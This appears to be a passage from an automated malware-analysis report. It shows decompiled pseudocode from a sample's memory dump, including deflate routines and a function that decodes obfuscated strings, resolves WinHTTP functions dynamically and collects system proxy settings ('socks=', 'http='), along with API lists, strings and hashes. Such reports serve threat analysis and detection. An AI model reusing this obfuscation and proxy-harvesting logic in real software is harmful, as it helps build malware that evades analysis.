												_t393 =  *(_t298 + 0x30);
												if(_t393 <  *((intOrPtr*)(_t298 + 0x34))) {
													 *(_t298 + 0x30) = _t393 + 1;
													 *_t393 =  *(_t298 + 0x48);
												}
												 *(_t298 + 0x48) =  *(_t298 + 0x48) >> 8;
												 *(_t298 + 0x44) =  *(_t298 + 0x44) - 8;
											}
											_t345 = _t345 ^ 0x0000ffff;
											_t264 = _t264 - 1;
										} while (_t264 != 0);
										goto L62;
									}
									if( *(_t298 + 0x44) != 0) {
										 *(_t298 + 0x44) = 8;
										while( *(_t298 + 0x44) > 7) {
											_t283 =  *(_t298 + 0x30);
											if(_t283 <  *((intOrPtr*)(_t298 + 0x34))) {
												 *(_t298 + 0x30) = _t283 + 1;
												 *_t283 =  *(_t298 + 0x48);
											}
											 *(_t298 + 0x48) =  *(_t298 + 0x48) >> 8;
											 *(_t298 + 0x44) =  *(_t298 + 0x44) - 8;
										}
									}
									if(( *(_t298 + 9) & 0x00000010) == 0) {
										goto L62;
									}
									_t355 =  *(_t298 + 0x18);
									_t282 = 4;
									do {
										_t313 =  *(_t298 + 0x44);
										 *(_t298 + 0x48) =  *(_t298 + 0x48) | _t355 >> 0x00000018 << _t313;
										 *(_t298 + 0x44) = _t313 + 8;
										while( *(_t298 + 0x44) > 7) {
											_t404 =  *(_t298 + 0x30);
											if(_t404 <  *((intOrPtr*)(_t298 + 0x34))) {
												 *(_t298 + 0x30) = _t404 + 1;
												 *_t404 =  *(_t298 + 0x48);
											}
											 *(_t298 + 0x48) =  *(_t298 + 0x48) >> 8;
											 *(_t298 + 0x44) =  *(_t298 + 0x44) - 8;
										}
										_t355 = _t355 << 8;
										_t282 = _t282 - 1;
									} while (_t282 != 0);
								}
								L62:
								_t408 =  *(_t298 + 0x30);
								if(_t408 <  *((intOrPtr*)(_t298 + 0x34))) {
									L98:
									memset(_t298 + 0x83d2, memset(_t298 + 0x8192, 0, 0x90 << 2), 0x10 << 2);
									_t415 =  &(_t413[6]);
									 *(_t298 + 0x38) = 8;
									 *((intOrPtr*)(_t298 + 0x28)) = _t298 + 0x9273;
									 *((intOrPtr*)(_t298 + 0x64)) =  *((intOrPtr*)(_t298 + 0x64)) + 1;
									 *(_t298 + 0x2c) = _t298 + 0x9272;
									 *((intOrPtr*)(_t298 + 0x40)) =  *((intOrPtr*)(_t298 + 0x40)) +  *(_t298 + 0x3c);
									_t410 = _t408 - _t405;
									 *(_t298 + 0x3c) = 0;
									if(_t410 == 0) {
										L108:
										_t271 =  *(_t298 + 0x5c);
										L109:
										return _t271;
									}
									_t308 =  *_t298;
									_t348 = _t298 + 0x39272;
									if(_t308 == 0) {
										if(_t405 != _t348) {
											 *((intOrPtr*)(_t298 + 0x8c)) =  *((intOrPtr*)(_t298 + 0x8c)) + _t410;
										} else {
											_t349 =  *((intOrPtr*)(_t298 + 0x8c));
											_t274 =  *((intOrPtr*)( *((intOrPtr*)(_t298 + 0x7c)))) - _t349;
											if(_t274 > _t410) {
												_t274 = _t410;
											}
											_t275 = memcpy(_t349 +  *((intOrPtr*)(_t298 + 0x74)), _t405, _t274);
											_t415 =  &(_t415[3]);
											 *((intOrPtr*)(_t298 + 0x8c)) =  *((intOrPtr*)(_t298 + 0x8c)) + _t275;
											_t411 = _t410 - _t275;
											if(_t411 != 0) {
												 *(_t298 + 0x58) = _t275;
												 *(_t298 + 0x5c) = _t411;
											}
										}
										goto L108;
									}
									 *((intOrPtr*)( *((intOrPtr*)(_t298 + 0x78)))) =  *((intOrPtr*)(_t298 + 0x84)) -  *((intOrPtr*)(_t298 + 0x70));
									_v56 = _t410;
									 *_t415 = _t348;
									_v52 =  *((intOrPtr*)(_t298 + 4));
									_t279 =  *_t308();
									if(_t279 != 0) {
										goto L108;
									}
									 *((intOrPtr*)(_t298 + 0x6c)) = 0xffffffff;
									_t271 = _t279 | 0xffffffff;
									goto L109;
								}
								_v52 = 0xc8b;
								_v56 = 0x424620;
								 *_t413 = "d->m_pOutput_buf < d->m_pOutput_buf_end";
								L97:
								L0041F7E4();
								goto L98;
							}
							 *(_t298 + 0x30) = _t390;
							 *(_t298 + 0x48) = _t409;
							 *(_t298 + 0x44) = _v36 + 2;
							while(1) {
								_t289 =  *(_t298 + 0x44);
								if(_t289 <= 7) {
									break;
								}
								_t293 =  *(_t298 + 0x30);
								if(_t293 <  *((intOrPtr*)(_t298 + 0x34))) {
									 *(_t298 + 0x30) = _t293 + 1;
									 *_t293 =  *(_t298 + 0x48);
								}
								 *(_t298 + 0x48) =  *(_t298 + 0x48) >> 8;
								 *(_t298 + 0x44) =  *(_t298 + 0x44) - 8;
							}
							if(_t289 != 0) {
								 *(_t298 + 0x44) = 8;
								while( *(_t298 + 0x44) > 7) {
									_t292 =  *(_t298 + 0x30);
									if(_t292 <  *((intOrPtr*)(_t298 + 0x34))) {
										 *(_t298 + 0x30) = _t292 + 1;
										 *_t292 =  *(_t298 + 0x48);
									}
									 *(_t298 + 0x48) =  *(_t298 + 0x48) >> 8;
									 *(_t298 + 0x44) =  *(_t298 + 0x44) - 8;
								}
							}
							_t290 = 2;
							do {
								_t317 =  *(_t298 + 0x44);
								 *(_t298 + 0x48) =  *(_t298 + 0x48) | ( *(_t298 + 0x3c) & 0x0000ffff) << _t317;
								 *(_t298 + 0x44) = _t317 + 0x10;
								while( *(_t298 + 0x44) > 7) {
									_t367 =  *(_t298 + 0x30);
									if(_t367 <  *((intOrPtr*)(_t298 + 0x34))) {
										 *(_t298 + 0x30) = _t367 + 1;
										 *_t367 =  *(_t298 + 0x48);
									}
									 *(_t298 + 0x48) =  *(_t298 + 0x48) >> 8;
									 *(_t298 + 0x44) =  *(_t298 + 0x44) - 8;
								}
								 *(_t298 + 0x3c) =  *(_t298 + 0x3c) ^ 0x0000ffff;
								_t290 = _t290 - 1;
							} while (_t290 != 0);
							_t291 = 0;
							while(_t291 <  *(_t298 + 0x3c)) {
								_t319 =  *(_t298 + 0x44);
								 *(_t298 + 0x48) =  *(_t298 + 0x48) | ( *(_t298 + ( *((intOrPtr*)(_t298 + 0x40)) + _t291 & 0x00007fff) + 0x90) & 0x000000ff) << _t319;
								 *(_t298 + 0x44) = _t319 + 8;
								while( *(_t298 + 0x44) > 7) {
									_t366 =  *(_t298 + 0x30);
									if(_t366 <  *((intOrPtr*)(_t298 + 0x34))) {
										 *(_t298 + 0x30) = _t366 + 1;
										 *_t366 =  *(_t298 + 0x48);
									}
									 *(_t298 + 0x48) =  *(_t298 + 0x48) >> 8;
									 *(_t298 + 0x44) =  *(_t298 + 0x44) - 8;
								}
								_t291 = _t291 + 1;
							}
							goto L61;
						}
						_t372 = 1;
						if(( *(_t298 + 0xa) & 0x00000004) == 0) {
							_t372 = 0 |  *(_t298 + 0x3c) - 0x0000002f < 0x00000000;
						}
						_t262 = E004156D4(_t298, _t372);
						_t325 =  *(_t298 + 0x3c);
						if(_t325 == 0 || _t325 >  *(_t298 + 0x30) - _t390 + 1) {
							goto L59;
						} else {
							goto L32;
						}
					}
					_v52 = 0xc3e;
					_v56 = 0x424620;
					 *_t413 = "!d->m_output_flush_remaining";
					goto L97;
				}
				_t407 =  *((intOrPtr*)(_t298 + 0x8c));
				if( *((intOrPtr*)( *((intOrPtr*)(_t298 + 0x7c)))) - _t407 <= 0x14ccb) {
					goto L5;
				} else {
					_t405 = _t407 +  *((intOrPtr*)(_t298 + 0x74));
					goto L6;
				}
			}

APIs

_assert.MSVCRT ref: 00415ED2

Strings

!d->m_output_flush_remaining, xrefs: 00415B2A
d->m_pOutput_buf < d->m_pOutput_buf_end, xrefs: 00415D9B

Memory Dump Source

Source File: 00000006.00000001.393727825.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.393840139.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: _assert
String ID: !d->m_output_flush_remaining$d->m_pOutput_buf < d->m_pOutput_buf_end
API String ID: 1222420520-597789969
Opcode ID: 8ddbe3c9850994fc0d72c42226f444b701068ab875a1f9731f5df1535297b31b
Instruction ID: a7d617267acf3779656a729e3d165d253c0adcf1a2096d40c2f4e68e066cb6e0
Opcode Fuzzy Hash: 8ddbe3c9850994fc0d72c42226f444b701068ab875a1f9731f5df1535297b31b
Instruction Fuzzy Hash: 5C02F370505601CFCB58CF28C5C46957BA2FF95304F5886AADD4A8F34AE339E8C9CB99

Uniqueness

Uniqueness Score: -1.00%

Function 00408417, Relevance: 56.3, APIs: 13, Strings: 19, Instructions: 294
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 18%

			E00408417(void* __edx, void* __eflags, int _a8, void* _a11, void* _a12, void* _a13, void* _a14, void* _a15, void* _a16, void _a17, void* _a24, intOrPtr _a28, void* _a36, char _a48, char _a56, void _a60, void _a64, intOrPtr _a80, char _a100, char _a101, char _a102, char _a103, void _a104, char _a105, void _a112, void _a128, void* _a140, char _a172, char _a204, char _a236) {
				void _v0;
				void _v4;
				void _v8;
				void* _v12;
				void* _v16;
				void* _v24;
				void* _v28;
				void* _v32;
				void _v40;
				void* _v44;
				void* _v48;
				CHAR* _t121;
				void* _t124;
				struct HINSTANCE__* _t125;
				_Unknown_base(*)()* _t126;
				intOrPtr _t127;
				struct HINSTANCE__* _t128;
				_Unknown_base(*)()* _t129;
				void* _t130;
				void* _t138;
				void* _t142;
				void* _t146;
				void* _t147;
				void* _t151;
				void* _t152;
				void* _t156;
				intOrPtr _t160;
				int _t162;
				void* _t165;
				void* _t167;
				void* _t180;
				void* _t184;
				void* _t185;
				void* _t189;
				intOrPtr* _t198;
				intOrPtr _t199;
				void* _t200;
				void _t201;
				intOrPtr _t202;
				void _t203;
				void* _t214;
				CHAR* _t215;
				CHAR* _t232;
				_Unknown_base(*)()* _t234;
				void* _t236;
				void* _t237;
				void* _t238;
				void* _t242;
				void* _t243;
				struct HINSTANCE__* _t245;
				void* _t246;
				void* _t248;
				void* _t249;
				void* _t250;
				intOrPtr* _t255;

				_t214 = __edx;
				_t250 = _t249 - E0041F3F0(0x110c);
				_t121 = E004081AA("U4R-55sTsdR");
				_t198 = GetProcAddress(LoadLibraryA("winhttp.dll"), _t121);
				_v16 = "U4R-55sEd590WfZ_W0u0i";
				_t124 = E004081AA(_t215);
				_v16 = "winhttp.dll";
				_t125 = LoadLibraryA(_t215);
				_v12 = _t124;
				_v16 = _t125;
				_t126 = GetProcAddress(_t245, _t232);
				_push(_t214);
				_push(_t214);
				if(_t198 != 0 && _t126 != 0) {
					memcpy( &_a104, L"InternetProxy", 7 << 2);
					_t204 = 0;
					_v0 = 0;
					_v4 = 0;
					_v8 = 0;
					_v12 = 1;
					_v16 =  &_a104;
					_a28 = 0;
					_t160 =  *_t198();
					_t250 = _t250 + 0xc - 0x14;
					_t202 = _t160;
					if(_t160 != 0) {
						_t214 =  &_a48;
						_t162 = memset( &_a60, _a8, 6 << 2);
						_a60 = 1;
						_a64 = 3;
						_a80 = 1;
						memset(_t214, _t162, 3 << 2);
						_t165 = memcpy( &_a112, L"http://www.yandex.com", 0xb << 2);
						_t255 = _t250 + 0x24;
						_t204 = 0;
						_v28 = _t165;
						_v24 = _t214;
						 *_t255 = _t202;
						_v32 =  &_a112;
						_t167 = _v0();
						_t250 = _t255 - 0x10;
						if(_t167 != 0) {
							memcpy( &_a17, "socks=", 7);
							_t250 = _t250 + 0xc;
							_t204 = 0;
							_v40 = _t203;
							_v44 = _t248;
							_v48 =  &_a17;
							 *_t250 =  &_a204;
							if(E00408306(0, _t261) != 0) {
								 *_t250 = 0x8c;
								_t180 = malloc(??);
								_t242 = _t180;
								_v44 = 0x40;
								_v48 = _t248;
								 *_t250 = _t180 + 4;
								E00412548();
								 *_t242 = 0;
								 *_t250 = _t203;
								 *((intOrPtr*)(_t242 + 0x44)) = E00412666(0);
								_t184 =  *0x42b304; // 0x0
								 *0x42b304 = _t242;
								 *(_t242 + 0x88) = _t184;
								 *_t250 = 0x8c;
								_t185 = malloc(??);
								_t243 = _t185;
								_v44 = 0x40;
								_v48 = _t248;
								 *_t250 = _t185 + 4;
								E00412548();
								 *_t243 = 2;
								 *_t250 = _t203;
								 *((intOrPtr*)(_t243 + 0x44)) = E00412666(0);
								_t189 =  *0x42b304; // 0x0
								 *0x42b304 = _t243;
								 *(_t243 + 0x88) = _t189;
								_v44 = 4;
								_v48 = 0x422fa5;
								 *_t250 = 0x4223dc;
								E00412548();
							}
						}
					}
				}
				_t127 = E004081AA("U4R-55sEd5Xj90WfZPWR84n_W0PQ00dR5u6d0");
				_v16 = "winhttp.dll";
				_t199 = _t127;
				_t128 = LoadLibraryA(??);
				_v12 = _t199;
				_v16 = _t128;
				_t129 = GetProcAddress(_t204, ??);
				_push(_t199);
				_t234 = _t129;
				_push(_t199);
				if(_t129 != 0) {
					_t130 = malloc(0x10);
					_t200 = _t130;
					_v16 = _t130;
					_t129 =  *_t234();
					_t264 = _t129;
					_push(_t214);
					if(_t129 != 0) {
						_v12 = "%S";
						_t201 =  &_a56;
						_v16 = 0x1000;
						_t246 =  &_a172;
						_v8 =  *((intOrPtr*)(_t200 + 8));
						 *_t250 =  &_a236;
						E004127A8();
						_v12 = 0x1000;
						_v16 = 0x422f70;
						 *_t250 =  &_a236;
						E00412588();
						_v8 = _t201;
						_v12 = _t246;
						_a100 = 0x68;
						_a101 = 0x74;
						_v16 =  &_a100;
						_a102 = 0x74;
						_a103 = 0x70;
						_a104 = 0x3d;
						 *_t250 =  &_a236;
						_a105 = 0;
						_t138 = E00408306(_t204, _t264);
						_t265 = _t138;
						if(_t138 != 0) {
							 *_t250 = 0x8c;
							_t152 = malloc(??);
							_t238 = _t152;
							_v12 = 0x40;
							_v16 = _t246;
							 *_t250 = _t152 + 4;
							E00412548();
							 *_t238 = 3;
							 *_t250 = _t201;
							 *((intOrPtr*)(_t238 + 0x44)) = E00412666(_t204);
							_t156 =  *0x42b304; // 0x0
							 *0x42b304 = _t238;
							 *(_t238 + 0x88) = _t156;
							_v12 = 4;
							_v16 = 0x422fa5;
							 *_t250 = 0x4223dc;
							E00412548();
						}
						memcpy( &_a128, "socks=", 7);
						_t250 = _t250 + 0xc;
						_v8 = _t201;
						_v12 = _t246;
						_v16 =  &_a128;
						 *_t250 =  &_a236;
						_t129 = E00408306(0, _t265);
						if(_t129 != 0) {
							 *_t250 = 0x8c;
							_t142 = malloc(??);
							_t236 = _t142;
							_v12 = 0x40;
							_v16 = _t246;
							 *_t250 = _t142 + 4;
							E00412548();
							 *_t236 = 2;
							 *_t250 = _t201;
							 *((intOrPtr*)(_t236 + 0x44)) = E00412666(0);
							_t146 =  *0x42b304; // 0x0
							 *0x42b304 = _t236;
							 *(_t236 + 0x88) = _t146;
							 *_t250 = 0x8c;
							_t147 = malloc(??);
							_t237 = _t147;
							_v12 = 0x40;
							_v16 = _t246;
							 *_t250 = _t147 + 4;
							E00412548();
							 *_t237 = 0;
							 *_t250 = _t201;
							 *((intOrPtr*)(_t237 + 0x44)) = E00412666(0);
							_t151 =  *0x42b304; // 0x0
							 *0x42b304 = _t237;
							 *(_t237 + 0x88) = _t151;
							_v12 = 4;
							_v16 = 0x422fa5;
							 *_t250 = 0x4223dc;
							_t129 = E00412548();
						}
					}
				}
				return _t129;
			}

APIs

LoadLibraryA.KERNEL32(?,?,?,?,0040914E), ref: 0040843C
GetProcAddress.KERNEL32(?,?), ref: 00408449
LoadLibraryA.KERNEL32(?,?,?,?,?,0040914E), ref: 00408467
GetProcAddress.KERNEL32 ref: 00408474
malloc.MSVCRT ref: 004085DE
malloc.MSVCRT ref: 00408678
malloc.MSVCRT ref: 004086BF
LoadLibraryA.KERNEL32(?,?,?,?,?,?,?,?,0040914E), ref: 00408730
GetProcAddress.KERNEL32 ref: 0040873D
malloc.MSVCRT ref: 00408755
malloc.MSVCRT ref: 00408802
malloc.MSVCRT ref: 004088A2
malloc.MSVCRT ref: 004088E9

Part of subcall function 004127A8: _vsnprintf.MSVCRT ref: 004127CC

Strings

h, xrefs: 004087C6
t, xrefs: 004087CB
t, xrefs: 004087DB
@, xrefs: 004088F3
U4R-55sEd590WfZ_W0u0i, xrefs: 00408452
=, xrefs: 004087E5
U4R-55sTsdR, xrefs: 00408427
winhttp.dll, xrefs: 00408433, 0040845E, 00408727
h, xrefs: 004085A2
socks=, xrefs: 0040863E, 00408865
InternetProxy, xrefs: 00408491
=, xrefs: 004085C1
U4R-55sEd5Xj90WfZPWR84n_W0PQ00dR5u6d0, xrefs: 0040871B
t, xrefs: 004085A7
p, xrefs: 004085BC
http://www.yandex.com, xrefs: 004084E8
001, xrefs: 0040862E, 0040870F, 00408852, 00408939
t, xrefs: 004085B7
p, xrefs: 004087E0

Memory Dump Source

Source File: 00000006.00000002.394088134.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.394118318.000000000042B000.00000040.00000001.sdmp Download File
Associated: 00000006.00000002.394126982.0000000000430000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: malloc$AddressLibraryLoadProc$_vsnprintf
String ID: 001$=$=$@$InternetProxy$U4R-55sEd590WfZ_W0u0i$U4R-55sEd5Xj90WfZPWR84n_W0PQ00dR5u6d0$U4R-55sTsdR$h$h$http://www.yandex.com$p$p$socks=$t$t$t$t$winhttp.dll
API String ID: 3272051020-337019666
Opcode ID: 5ae4fd168ad160b687ec016b66311f032f2127d997e6a72b6d5e7ab802d206c0
Instruction ID: 129794d27e18b5d836c16bc2de0120feea3297db44a07732c008f05b0d4f5d07
Opcode Fuzzy Hash: 5ae4fd168ad160b687ec016b66311f032f2127d997e6a72b6d5e7ab802d206c0
Instruction Fuzzy Hash: 09D1F5B0508740AFD710EF25C68479ABBF0BF84744F418C2EE5C897351EBB99989CB5A

Uniqueness

Uniqueness Score: -1.00%

Function 00408417, Relevance: 54.5, APIs: 13, Strings: 18, Instructions: 294
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 18%

			E00408417(void* __edx, void* __eflags, int _a8, void* _a11, void* _a12, void* _a13, void* _a14, void* _a15, void* _a16, void _a17, void* _a24, intOrPtr _a28, void* _a36, char _a48, char _a56, void _a60, void _a64, intOrPtr _a80, char _a100, char _a101, char _a102, char _a103, void _a104, char _a105, void _a112, void _a128, void* _a140, char _a172, char _a204, char _a236) {
				void _v0;
				void _v4;
				void _v8;
				void* _v12;
				void* _v16;
				void* _v24;
				void* _v28;
				void* _v32;
				void _v40;
				void* _v44;
				void* _v48;
				CHAR* _t121;
				void* _t124;
				struct HINSTANCE__* _t125;
				_Unknown_base(*)()* _t126;
				intOrPtr _t127;
				struct HINSTANCE__* _t128;
				_Unknown_base(*)()* _t129;
				void* _t130;
				void* _t138;
				void* _t142;
				void* _t147;
				void* _t152;
				intOrPtr _t160;
				int _t162;
				void* _t165;
				void* _t167;
				void* _t180;
				void* _t185;
				intOrPtr* _t198;
				intOrPtr _t199;
				void* _t200;
				void _t201;
				intOrPtr _t202;
				void _t203;
				void* _t214;
				CHAR* _t215;
				CHAR* _t232;
				_Unknown_base(*)()* _t234;
				void* _t236;
				void* _t237;
				void* _t238;
				void* _t242;
				void* _t243;
				struct HINSTANCE__* _t245;
				void* _t246;
				void* _t248;
				void* _t249;
				void* _t250;
				intOrPtr* _t255;

				_t214 = __edx;
				_t250 = _t249 - E0041F3F0(0x110c);
				_t121 = E004081AA("U4R-55sTsdR");
				_t198 = GetProcAddress(LoadLibraryA("winhttp.dll"), _t121);
				_v16 = "U4R-55sEd590WfZ_W0u0i";
				_t124 = E004081AA(_t215);
				_v16 = "winhttp.dll";
				_t125 = LoadLibraryA(_t215);
				_v12 = _t124;
				_v16 = _t125;
				_t126 = GetProcAddress(_t245, _t232);
				_push(_t214);
				_push(_t214);
				if(_t198 != 0 && _t126 != 0) {
					memcpy( &_a104, L"InternetProxy", 7 << 2);
					_t204 = 0;
					_v0 = 0;
					_v4 = 0;
					_v8 = 0;
					_v12 = 1;
					_v16 =  &_a104;
					_a28 = 0;
					_t160 =  *_t198();
					_t250 = _t250 + 0xc - 0x14;
					_t202 = _t160;
					if(_t160 != 0) {
						_t214 =  &_a48;
						_t162 = memset( &_a60, _a8, 6 << 2);
						_a60 = 1;
						_a64 = 3;
						_a80 = 1;
						memset(_t214, _t162, 3 << 2);
						_t165 = memcpy( &_a112, L"http://www.yandex.com", 0xb << 2);
						_t255 = _t250 + 0x24;
						_t204 = 0;
						_v28 = _t165;
						_v24 = _t214;
						 *_t255 = _t202;
						_v32 =  &_a112;
						_t167 = _v0();
						_t250 = _t255 - 0x10;
						if(_t167 != 0) {
							memcpy( &_a17, "socks=", 7);
							_t250 = _t250 + 0xc;
							_t204 = 0;
							_v40 = _t203;
							_v44 = _t248;
							_v48 =  &_a17;
							 *_t250 =  &_a204;
							if(E00408306(0, _t261) != 0) {
								 *_t250 = 0x8c;
								_t180 = malloc(??);
								_t242 = _t180;
								_v44 = 0x40;
								_v48 = _t248;
								 *_t250 = _t180 + 4;
								E00412548();
								 *_t242 = 0;
								 *_t250 = _t203;
								 *((intOrPtr*)(_t242 + 0x44)) = E00412666(0);
								 *0x42b304 = _t242;
								 *(_t242 + 0x88) =  *0x42b304;
								 *_t250 = 0x8c;
								_t185 = malloc(??);
								_t243 = _t185;
								_v44 = 0x40;
								_v48 = _t248;
								 *_t250 = _t185 + 4;
								E00412548();
								 *_t243 = 2;
								 *_t250 = _t203;
								 *((intOrPtr*)(_t243 + 0x44)) = E00412666(0);
								 *0x42b304 = _t243;
								 *(_t243 + 0x88) =  *0x42b304;
								_v44 = 4;
								_v48 = 0x422fa5;
								 *_t250 = 0x4223dc;
								E00412548();
							}
						}
					}
				}
				_t127 = E004081AA("U4R-55sEd5Xj90WfZPWR84n_W0PQ00dR5u6d0");
				_v16 = "winhttp.dll";
				_t199 = _t127;
				_t128 = LoadLibraryA(??);
				_v12 = _t199;
				_v16 = _t128;
				_t129 = GetProcAddress(_t204, ??);
				_push(_t199);
				_t234 = _t129;
				_push(_t199);
				if(_t129 != 0) {
					_t130 = malloc(0x10);
					_t200 = _t130;
					_v16 = _t130;
					_t129 =  *_t234();
					_t264 = _t129;
					_push(_t214);
					if(_t129 != 0) {
						_v12 = "%S";
						_t201 =  &_a56;
						_v16 = 0x1000;
						_t246 =  &_a172;
						_v8 =  *((intOrPtr*)(_t200 + 8));
						 *_t250 =  &_a236;
						E004127A8();
						_v12 = 0x1000;
						_v16 = 0x422f70;
						 *_t250 =  &_a236;
						E00412588();
						_v8 = _t201;
						_v12 = _t246;
						_a100 = 0x68;
						_a101 = 0x74;
						_v16 =  &_a100;
						_a102 = 0x74;
						_a103 = 0x70;
						_a104 = 0x3d;
						 *_t250 =  &_a236;
						_a105 = 0;
						_t138 = E00408306(_t204, _t264);
						_t265 = _t138;
						if(_t138 != 0) {
							 *_t250 = 0x8c;
							_t152 = malloc(??);
							_t238 = _t152;
							_v12 = 0x40;
							_v16 = _t246;
							 *_t250 = _t152 + 4;
							E00412548();
							 *_t238 = 3;
							 *_t250 = _t201;
							 *((intOrPtr*)(_t238 + 0x44)) = E00412666(_t204);
							 *0x42b304 = _t238;
							 *(_t238 + 0x88) =  *0x42b304;
							_v12 = 4;
							_v16 = 0x422fa5;
							 *_t250 = 0x4223dc;
							E00412548();
						}
						memcpy( &_a128, "socks=", 7);
						_t250 = _t250 + 0xc;
						_v8 = _t201;
						_v12 = _t246;
						_v16 =  &_a128;
						 *_t250 =  &_a236;
						_t129 = E00408306(0, _t265);
						if(_t129 != 0) {
							 *_t250 = 0x8c;
							_t142 = malloc(??);
							_t236 = _t142;
							_v12 = 0x40;
							_v16 = _t246;
							 *_t250 = _t142 + 4;
							E00412548();
							 *_t236 = 2;
							 *_t250 = _t201;
							 *((intOrPtr*)(_t236 + 0x44)) = E00412666(0);
							 *0x42b304 = _t236;
							 *(_t236 + 0x88) =  *0x42b304;
							 *_t250 = 0x8c;
							_t147 = malloc(??);
							_t237 = _t147;
							_v12 = 0x40;
							_v16 = _t246;
							 *_t250 = _t147 + 4;
							E00412548();
							 *_t237 = 0;
							 *_t250 = _t201;
							 *((intOrPtr*)(_t237 + 0x44)) = E00412666(0);
							 *0x42b304 = _t237;
							 *(_t237 + 0x88) =  *0x42b304;
							_v12 = 4;
							_v16 = 0x422fa5;
							 *_t250 = 0x4223dc;
							_t129 = E00412548();
						}
					}
				}
				return _t129;
			}

0x00408417
0x00408425
0x0040842e
0x00408450
0x00408452
0x00408459
0x0040845e
0x00408467
0x0040846d
0x00408471
0x00408474
0x0040847b
0x0040847c
0x0040847d
0x0040849b
0x0040849b
0x004084a1
0x004084a9
0x004084b1
0x004084b9
0x004084c1
0x004084c4
0x004084c8
0x004084ca
0x004084cf
0x004084d1
0x004084db
0x004084ed
0x004084f6
0x004084fe
0x00408506
0x0040850e
0x00408520
0x00408520
0x00408520
0x00408522
0x0040852d
0x00408531
0x00408534
0x00408538
0x0040853a
0x0040853f
0x00408648
0x00408648
0x00408648
0x0040864e
0x00408652
0x00408656
0x00408661
0x0040866b
0x00408671
0x00408678
0x0040867d
0x00408682
0x0040868a
0x0040868e
0x00408691
0x00408696
0x0040869c
0x004086a4
0x004086ac
0x004086b2
0x004086b8
0x004086bf
0x004086c4
0x004086c9
0x004086d1
0x004086d5
0x004086d8
0x004086dd
0x004086e3
0x004086eb
0x004086f3
0x004086f9
0x004086ff
0x00408707
0x0040870f
0x00408716
0x00408716
0x0040866b
0x0040853f
0x004084d1
0x00408722
0x00408727
0x0040872e
0x00408730
0x00408736
0x0040873a
0x0040873d
0x00408744
0x00408745
0x00408747
0x00408748
0x00408755
0x0040875a
0x0040875c
0x0040875f
0x00408761
0x00408763
0x00408764
0x0040876d
0x00408775
0x00408779
0x00408781
0x00408788
0x00408793
0x00408796
0x004087a2
0x004087aa
0x004087b2
0x004087b5
0x004087be
0x004087c2
0x004087c6
0x004087cb
0x004087d0
0x004087db
0x004087e0
0x004087e5
0x004087ea
0x004087ed
0x004087f2
0x004087f7
0x004087f9
0x004087fb
0x00408802
0x00408807
0x0040880c
0x00408814
0x00408818
0x0040881b
0x00408820
0x00408826
0x0040882e
0x00408836
0x0040883c
0x00408842
0x0040884a
0x00408852
0x00408859
0x00408859
0x0040886f
0x0040886f
0x00408878
0x0040887c
0x00408880
0x0040888b
0x0040888e
0x00408895
0x0040889b
0x004088a2
0x004088a7
0x004088ac
0x004088b4
0x004088b8
0x004088bb
0x004088c0
0x004088c6
0x004088ce
0x004088d6
0x004088dc
0x004088e2
0x004088e9
0x004088ee
0x004088f3
0x004088fb
0x004088ff
0x00408902
0x00408907
0x0040890d
0x00408915
0x0040891d
0x00408923
0x00408929
0x00408931
0x00408939
0x00408940
0x00408940
0x00408895
0x00408764
0x0040894f

APIs

LoadLibraryA.KERNEL32(?,?,?,?,0040914E), ref: 0040843C
GetProcAddress.KERNEL32(?,?), ref: 00408449
LoadLibraryA.KERNEL32(?,?,?,?,?,0040914E), ref: 00408467
GetProcAddress.KERNEL32 ref: 00408474
malloc.MSVCRT ref: 004085DE
malloc.MSVCRT ref: 00408678
malloc.MSVCRT ref: 004086BF
LoadLibraryA.KERNEL32(?,?,?,?,?,?,?,?,0040914E), ref: 00408730
GetProcAddress.KERNEL32 ref: 0040873D
malloc.MSVCRT ref: 00408755
malloc.MSVCRT ref: 00408802
malloc.MSVCRT ref: 004088A2
malloc.MSVCRT ref: 004088E9

Part of subcall function 004127A8: _vsnprintf.MSVCRT ref: 004127CC

Strings

socks=, xrefs: 0040863E, 00408865
@, xrefs: 004088F3
=, xrefs: 004085C1
U4R-55sEd590WfZ_W0u0i, xrefs: 00408452
t, xrefs: 004085B7
h, xrefs: 004087C6
InternetProxy, xrefs: 00408491
U4R-55sTsdR, xrefs: 00408427
p, xrefs: 004085BC
http://www.yandex.com, xrefs: 004084E8
t, xrefs: 004087CB
U4R-55sEd5Xj90WfZPWR84n_W0PQ00dR5u6d0, xrefs: 0040871B
=, xrefs: 004087E5
t, xrefs: 004085A7
h, xrefs: 004085A2
winhttp.dll, xrefs: 00408433, 0040845E, 00408727
t, xrefs: 004087DB
p, xrefs: 004087E0

Memory Dump Source

Source File: 00000006.00000001.393727825.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.393840139.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: malloc$AddressLibraryLoadProc$_vsnprintf
String ID: =$=$@$InternetProxy$U4R-55sEd590WfZ_W0u0i$U4R-55sEd5Xj90WfZPWR84n_W0PQ00dR5u6d0$U4R-55sTsdR$h$h$http://www.yandex.com$p$p$socks=$t$t$t$t$winhttp.dll
API String ID: 3272051020-3271394883
Opcode ID: 5ae4fd168ad160b687ec016b66311f032f2127d997e6a72b6d5e7ab802d206c0
Instruction ID: 129794d27e18b5d836c16bc2de0120feea3297db44a07732c008f05b0d4f5d07
Opcode Fuzzy Hash: 5ae4fd168ad160b687ec016b66311f032f2127d997e6a72b6d5e7ab802d206c0
Instruction Fuzzy Hash: 09D1F5B0508740AFD710EF25C68479ABBF0BF84744F418C2EE5C897351EBB99989CB5A

Uniqueness

Uniqueness Score: -1.00%

Function 0040DCE9, Relevance: 38.9, APIs: 16, Strings: 6, Instructions: 395
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 35%

			E0040DCE9(struct HINSTANCE__* __edx, int* _a4) {
				char _v340;
				char _v344;
				char _v568;
				char _v824;
				char _v852;
				char _v856;
				void _v1068;
				char _v1080;
				void _v1084;
				int _v1092;
				int _v1096;
				int _v1100;
				int _v1104;
				int _v1108;
				char _v1112;
				int _v1116;
				int _v1120;
				_Unknown_base(*)()* _v1124;
				_Unknown_base(*)()* _v1128;
				int _v1132;
